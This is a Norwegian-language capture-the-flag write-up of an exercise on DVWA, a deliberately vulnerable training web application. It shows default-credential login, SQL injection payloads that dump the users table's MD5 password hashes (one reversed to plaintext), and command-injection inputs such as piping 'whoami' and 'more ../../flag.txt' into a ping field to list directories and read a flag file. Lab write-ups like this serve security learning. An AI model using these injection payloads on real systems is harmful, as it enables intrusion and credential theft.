

Jeg begynner med å følge lenken på bunn av siden. Dette leder meg til et git-repo med informasjon om siden. Jeg finner her blant annet default-credentials. Disse fungerer for å logge inn.



Username

admin

Password

Login

Login failed

[Damn Vulnerable Web Application \(DVWA\)](#)

Default Credentials

Default username = **admin**

Default password = **password**

...can easily be brute forced ;)

Når jeg er inne, leser jeg reglene for oppgaven og ser på venstre side en rekke oppgaver. Siden jeg har gjort CTF før, er mitt førsteinntrykk at SQL-injection, Command-injection og local file inclusion er de som er mest relevante. Jeg begynner med SQL-injection der jeg tenker det kanskje er et flagg i databasen.

Begynner bare med a gi inn en valid verdi (her 1).

Vulnerability: SQL Injection

User ID:

ID: 1
First name: admin
Surname: admin

Jeg prøver så en sql injection. Jeg begynner med «0' or first_name='admin», bare for å sjekke at injection fungerer:

User ID:

ID: 0' or first_name='admin'
First name: admin
Surname: admin

Jeg leter rund i github repoet og finner strukturen (samt default users/password):

```
tableguestbookguestbook@CREATE TABLE `guestbook` (
`comment_id` int,
`comment` text default null,
`name` text DEFAULT NULL,
PRIMARY KEY (`comment_id`)
)ENGINE=InnoDB AUTOINDEX=1;
tableusersusers@CREATE TABLE `users` (
`user_id` int NOT NULL,
`first_name` text DEFAULT NULL,
`last_name` text DEFAULT NULL,
`user` text DEFAULT NULL,
`password` text DEFAULT NULL,
`avatar` text DEFAULT NULL,
`last_login` datetime,
`failed_login` int,
PRIMARY KEY (`user_id`)
)ENGINE=InnoDB AUTOINDEX=1;

@BobSmithsmithypassword{$avatarUrl}smithy.jpg2021-08-11A
PabloPicassopabloletmein{$avatarUrl}pablo.jpg2021-08-119
HackMe1337charley{$avatarUrl}1337.jpg2021-08-11C
GordonBrownGordonbab123{$avatarUrl}gordonb.jpg2021-08-11?
adminadminadminpassword{$avatarUrl}admin.jpg2021-08-11
ä üöðéëä
```

Jeg lager så en injection for å få ut alle passord «' UNION select first_name,password from users where '1'='1»

User ID:

ID: ' UNION select first_name,password from users where '1'='1
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION select first_name,password from users where '1'='1
First name: Gordon
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION select first_name,password from users where '1'='1
First name: Hack
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION select first_name,password from users where '1'='1
First name: Pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION select first_name,password from users where '1'='1
First name: Bob
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Dette er md5, så jeg bruker en un-encoder til å finne passordene.

md5 to string:

reverse_md5('8d3533d75ae2c3966d7e0d4fcc69216b') = "charley"

Å logge inn som en annen bruker gir ingen ny informasjon. Jeg legger sql-injection bak meg og fortsetter med command injection.

Det er på dette tidspunktet jeg finner den følgende siden som har «fasit» for alle default oppgaver i DWVA:

<https://github.com/dev-angelist/Writeups-and-Walkthroughs/blob/main/dvwa/command-injection.md>

Jeg begynner med å gi inn en valid ip for å se at den fungerer som forventet.

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 192.168.65.1 (192.168.65.1) 56(84) bytes of data.  
64 bytes from 192.168.65.1: icmp_seq=1 ttl=63 time=6.96 ms  
64 bytes from 192.168.65.1: icmp_seq=2 ttl=63 time=0.621 ms  
64 bytes from 192.168.65.1: icmp_seq=3 ttl=63 time=0.808 ms  
64 bytes from 192.168.65.1: icmp_seq=4 ttl=63 time=0.840 ms  
  
--- 192.168.65.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3027ms  
rtt min/avg/max/mdev = 0.621/2.308/6.964/2.689 ms
```

På «fasit»-repoet finner jeg denne:

Payload

We've replaced ; or && with | :

127.0.0.1 | whoami

Vulnerability: Command Injection

Ping a device

Enter an IP address:

www-data

Jeg bruker dette for å kjøre kommandoen «ls»:

```
help  
index.php  
source
```

Jeg kjører så «ls ..» for å se hva som er i foreldre-mappen:

Ping a device

Enter an IP address: 127.0.0.1 | ls ..

Submit

```
api
authbypass
bac
brute
captcha
cryptography
csp
csrf
exec
fi
help.css
help.js
javascript
open_redirect
sqli
sqli_blind
upload
view_help.php
view_source.php
view_source_all.php
weak_id
xss_d
xss_r
xss_s
```

Jeg bruker mye tid her for å se igjen mapper å lete etter noe som kan være et flagg. Når jeg ikke finner noe, sjekker jeg foreldremappen til foreldremappen:

Ping a device

Enter an IP address: 127.0.0.1 | ls ../../

Submit

```
CHANGELOG.md
COPYING.txt
Dockerfile
README.ar.md
README.es.md
README.fa.md
README.fr.md
README.id.md
README.it.md
README.ko.md
README.md
README.pl.md
README.pt.md
README.tr.md
README.vi.md
README.zh.md
SECURITY.md
about.php
compose-backup.yml
config
database
docker-compose.yml
docs
dvwa
external
favicon.ico
flag.txt
hackable
```

Her ligger flag.txt som jeg leser og finner flagget:

Ping a device

Enter an IP address: 127.0.0.1 | more ../../flag.txt

Submit

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.110 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.040 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.034 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3112ms
rtt min/avg/max/mdev = 0.031/0.053/0.110/0.032 ms
:::
../../flag.txt
:::
FLAG{INITIAL_FOOTHOLD_ACHIEVED}
```

Kommentar: jeg avsluttet oppgaven etter å ha funnet flagget (som oppgave sa jeg skulle), men siden jeg nå har hele mappestrukturen burde det også være mulig å gjøre local file inclusion ganske lett.